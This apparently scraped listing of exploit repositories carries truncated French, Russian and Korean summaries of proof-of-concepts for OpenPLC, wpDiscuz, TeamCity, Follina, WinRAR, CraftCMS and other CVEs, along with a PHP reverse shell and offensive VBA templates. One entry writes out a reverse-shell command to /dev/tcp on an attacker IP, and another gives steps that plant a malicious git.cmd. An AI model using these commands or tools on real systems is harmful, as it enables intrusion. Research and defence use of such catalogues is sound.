CVE-2021-31630-OpenPLC_RCE

CVE-2021-31630-OpenPLCRCE Exploit pour l'exécution de code à distance authentifiée sur le serveur Web OpenPLC v3...

CVE-2020-24186-wpDiscuz-7.0.4-RCE

POC CVE-2020-24186-wpDiscuz-7.0.4-RCE WordPress wpDiscuz 7.0.4 удаленное выполнение кода Уязвимость удаленного выполнения кода существует в плагине gVectors wpDiscuz 7.0–7.0.4 для WordPress, которая позволяет неаутентифицированным пользователям загружать файлы любого типа, включая PHP-файлы, чере...

CVE-2026-45034

🧨 Эксплойт Phar-десериализации PHPSpreadsheet ОбходprohibitWrappers + удалённое выполнение кода RCE в phpoffice/phpspreadsheet Этот репозиторий предоставляет эксплойт proof-of-concept PoC для критической уязвимости в популярной PHP-библиотеке PHPSpreadsheet. Атака использует обёртку потокаphar://...

YAPS

YAPS - Y et A nother P HP S hell Oui, comme son nom l'indique, il s'agit d'un autre reverse shell PHP, un de plus parmi des centaines disponibles, mais avec quelques avantages. C'est un seul fichier PHP contenant toutes ses fonctions et vous pouvez le contrôler via un simple écouteur TCP par...

CVE-2024-27348

CVE-2024-27348 Только для этического использования. Любые вредоносные или злонамеренные действия запрещены. И это ваша собственная ответственность Вы можете прочитать анализ уязвимости здесь: https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ Apache HugeGraph Server RCE...

CVE-2024-47533

root@kitploit: Обратная оболочка python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Простая команда python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Добавление SSH-ключа python3 CVE-2024-47533.py --url...

OffensiveVBA

OffensiveVBA En préparation d’un Stream/Vidéo sur l’évasion AV pour VBS, je faisais des recherches sur les méthodes d’exécution de code dans les macros Office et les techniques d’évasion. La liste s’est allongée et je n’ai trouvé aucun endroit centralisé pour les templates VBA offensifs – ce dépô...

CVE-2024-27198

CVE-2024-27198 Dans JetBrains TeamCity avant la version 2023.11.4, une bypass d'authentification permettant d'effectuer des actions admin sur le serveur TeamCity permet à un attaquant de prendre le contrôle total de tous les projets, builds, agents et artefacts TeamCity, et enfin d'exécuter une...

CVE-2018-20250-WinRAR-ACE

CVE-2018-20250-WinRAR-ACE Код концепции proof of concept на C для эксплуатации пути извлечения файлов ACE в WinRAR CVE-2018-20250. Ресурсы https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/ Зависимости...

CVE-2023-41425

CVE-2023-41425 Описание Уязвимость межсайтового скриптинга Cross Site Scripting в Wonder CMS v.3.2.0 – v.3.4.2 позволяет удалённому злоумышленнику выполнить произвольный код с помощью специально созданного скрипта, загружаемого через компонент installModule. Принцип работы Прилагаемый эксплойт...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE permet à un utilisateur authentifié d'exécuter des commandes à distance via la fonctionnalité des événements. Peut être effectué avec des identifiants ou un cookie de session PHP. Pour commencer Exécution du programme Avec des...

cve-2020-27955

cve-2020-27955 cve-2020-27955 Воспроизведение 1. Создайте репозиторий на GitHub 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...

CVE-2021-21300

CVE-2021-21300: Произвольное выполнение кода через вредоносные Git-хуки 📌 Сводка CVE-2021-21300 — это критическая уязвимость в Git версии 2.14.2–2.30.1, которая позволяет злоумышленникам выполнять произвольный код на компьютерах жертв посредством символических ссылок и регистронезависимых файловы...

CVE-2019-11932

CVE-2019-11932 Modifiez l'adresse d'écoute celle de l'attaquant ainsi que le port d'écoute dans le fichier exploit.c Code hexa suivant : 3139 322e 3136 382e 322e 3732 2034 3434 3420 Compilez le code : gcc -o exploit egiflib.c exploit.c Lancez le fichier compilé ./exploit exploit.gif c/c l'output...

CVE-2025-32432

CraftCMS CVE-2025-32432 익스플로잇 Chirag Artani 개요 이 저장소는 CraftCMS 4.x 및 5.x 버전에 영향을 미치는 사전 인증 원격 코드 실행RCE 취약점인 CVE-2025-32432에 대한 개념 증명 익스플로잇 스크립트를 포함합니다. 이 취약점은 CraftCMS의 자산 변환 생성 기능에 존재합니다. 이 익스플로잇 스크립트는 다음을 통해 취약점 탐지 및 확인을 자동화합니다: 1. CraftCMS 관리자 대시보드에서 CSRF 토큰 추출 2. PHP 객체 주입을 통한 취약점 악용 3. 시스템 정...

CVE-2019-15707

CVE-2019-15707 Exploit...

CVE-2022-30190

CVE-2022-30190 Руководство по уязвимости Microsoft Support Diagnostic Tool CVE-2022-30190 MSRC / автор msrc / 30 мая 2022 г. В понедельник, 30 мая 2022 г., корпорация Microsoft выпустила CVE-2022-30190, касающуюся уязвимости в средстве диагностики поддержки Microsoft MSDT в Windows. Уязвимость...

CVE-2017-8641_chakra_Js_GlobalObject

사이트 CVE에서 더 자세히 설명된 설명 !!예 Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8.1 및 Windows RT 8.1, Windows Server 2012 및 R2, Windows 10 Gold, 1511, 1607, 1703, Windows Server 2016의 Microsoft 브라우저는 Microsoft 브라우저 JavaScript 엔진이 메모리 내 객체를 처리할 때 렌더링되는 방식으로 인해 현재 사용자의 컨텍스트에서 임의 코드를 실행할 수 있...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 — PoC Follina Разместите exploit.html на localhost, порт 80. Откройте docx, чтобы запустить calc. Чтобы изменить удаленный адрес, на который указывает doc, откройте его в 7Z и отредактируйте word\rels\document.xml.rels, чтобы указать новый адрес. ВЫ ОБЯЗАТЕЛЬНО должн...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 Введение в уязвимость 21 сентября 2021 года VMware опубликовала бюллетень безопасности, в котором раскрыла 19 уязвимостей в vCenter Server с оценками CVSSv3 от 4.3 до 9.8. Среди них наиболее серьезной является уязвимость произвольной загрузки файлов в vCenter Server...